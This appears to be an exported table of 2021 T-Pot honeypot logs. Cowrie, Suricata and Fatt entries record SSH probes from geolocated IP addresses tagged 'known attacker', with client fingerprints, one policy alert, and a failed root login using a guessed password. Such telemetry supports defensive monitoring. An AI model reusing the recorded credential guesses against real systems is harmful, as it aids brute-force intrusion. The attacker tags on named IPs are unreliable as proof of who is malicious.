30596	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:36:56.740188+03	2021-09-20 14:45:03.371142+03	{"_id": "zgb-AnwBvYTbRNuErT3l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:51392 (192.168.176.2:22) [session: 84ea53a63ada]", "session": "84ea53a63ada", "@version": "1", "protocol": "ssh", "src_port": 51392, "dest_port": 22, "timestamp": "2021-09-20T11:36:56.740188Z", "@timestamp": "2021-09-20T11:36:56.740Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30597	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:36:56.915138+03	2021-09-20 14:45:03.372142+03	{"_id": "zwb-AnwBvYTbRNuErT3l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "84ea53a63ada", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:36:56.915138Z", "@timestamp": "2021-09-20T11:36:56.915Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30598	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:36:57.090475+03	2021-09-20 14:45:03.373142+03	{"_id": "0Ab-AnwBvYTbRNuErT3l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "84ea53a63ada", "@version": "1", "timestamp": "2021-09-20T11:36:57.090475Z", "@timestamp": "2021-09-20T11:36:57.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30599	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:36:56.914857+03	2021-09-20 14:45:03.375143+03	{"_id": "0Qb-AnwBvYTbRNuErz2M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 805239566934388, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51392, "dest_port": 22, "timestamp": "2021-09-20T11:36:56.914857Z", "@timestamp": "2021-09-20T11:36:56.914Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30600	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:36:57.089818+03	2021-09-20 14:45:03.376142+03	{"_id": "0gb-AnwBvYTbRNuEsD2b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 51392, "dest_port": 22, "timestamp": "2021-09-20T11:36:57.089818", "@timestamp": "2021-09-20T11:36:57.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30601	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:36:57.887602+03	2021-09-20 14:45:03.379144+03	{"_id": "2Ab-AnwBvYTbRNuEsT3N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/rewqasdf] failed", "session": "84ea53a63ada", "@version": "1", "password": "rewqasdf", "username": "root", "timestamp": "2021-09-20T11:36:57.887602Z", "@timestamp": "2021-09-20T11:36:57.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30602	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:36:58.926739+03	2021-09-20 14:45:03.380143+03	{"_id": "2Qb-AnwBvYTbRNuEtD2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51921, "timestamp": "2021-09-20T11:36:58.926739", "@timestamp": "2021-09-20T11:36:58.926Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30603	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:36:58.926001+03	2021-09-20 14:45:03.382142+03	{"_id": "3wb-AnwBvYTbRNuEtT20", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "48e847fac769", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:36:58.926001Z", "@timestamp": "2021-09-20T11:36:58.926Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30604	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:36:59.062959+03	2021-09-20 14:45:03.383141+03	{"_id": "4Ab-AnwBvYTbRNuEtT20", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "84ea53a63ada", "@version": "1", "duration": 2.3200817108154297, "timestamp": "2021-09-20T11:36:59.062959Z", "@timestamp": "2021-09-20T11:36:59.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30605	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:37:12.77656+03	2021-09-20 14:45:03.384187+03	{"_id": "LAb-AnwBvYTbRNuE7D5v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48416 (192.168.176.2:22) [session: e0fa30b333d2]", "session": "e0fa30b333d2", "@version": "1", "protocol": "ssh", "src_port": 48416, "dest_port": 22, "timestamp": "2021-09-20T11:37:12.776560Z", "@timestamp": "2021-09-20T11:37:12.776Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30606	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:37:12.77957+03	2021-09-20 14:45:03.385142+03	{"_id": "LQb-AnwBvYTbRNuE7D5v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e0fa30b333d2", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:37:12.779570Z", "@timestamp": "2021-09-20T11:37:12.779Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30607	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:37:13.159878+03	2021-09-20 14:45:03.387142+03	{"_id": "Lgb-AnwBvYTbRNuE7D5v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e0fa30b333d2", "@version": "1", "timestamp": "2021-09-20T11:37:13.159878Z", "@timestamp": "2021-09-20T11:37:13.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30608	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:37:13.158925+03	2021-09-20 14:45:03.389141+03	{"_id": "Lwb-AnwBvYTbRNuE7j4U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "flow_id": 1158696049051393, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48416, "dest_port": 22, "timestamp": "2021-09-20T11:37:13.158925Z", "@timestamp": "2021-09-20T11:37:13.158Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30609	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:37:13.159259+03	2021-09-20 14:45:03.390142+03	{"_id": "MAb-AnwBvYTbRNuE7j4V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:37:12.395009+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1158696049051393, "payload": "AAADzAYU5k7nCHYuyHSh/x/ce6/mEQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48416, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:37:13.159259Z", "@timestamp": "2021-09-20T11:37:13.159Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......N..v..t....{......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30610	123.126.106.88	109.199.241.180	Fatt	2021-09-20 14:37:13.159259+03	2021-09-20 14:45:03.391143+03	{"_id": "MQb-AnwBvYTbRNuE7z4l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48416, "dest_port": 22, "timestamp": "2021-09-20T11:37:13.159259", "@timestamp": "2021-09-20T11:37:13.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
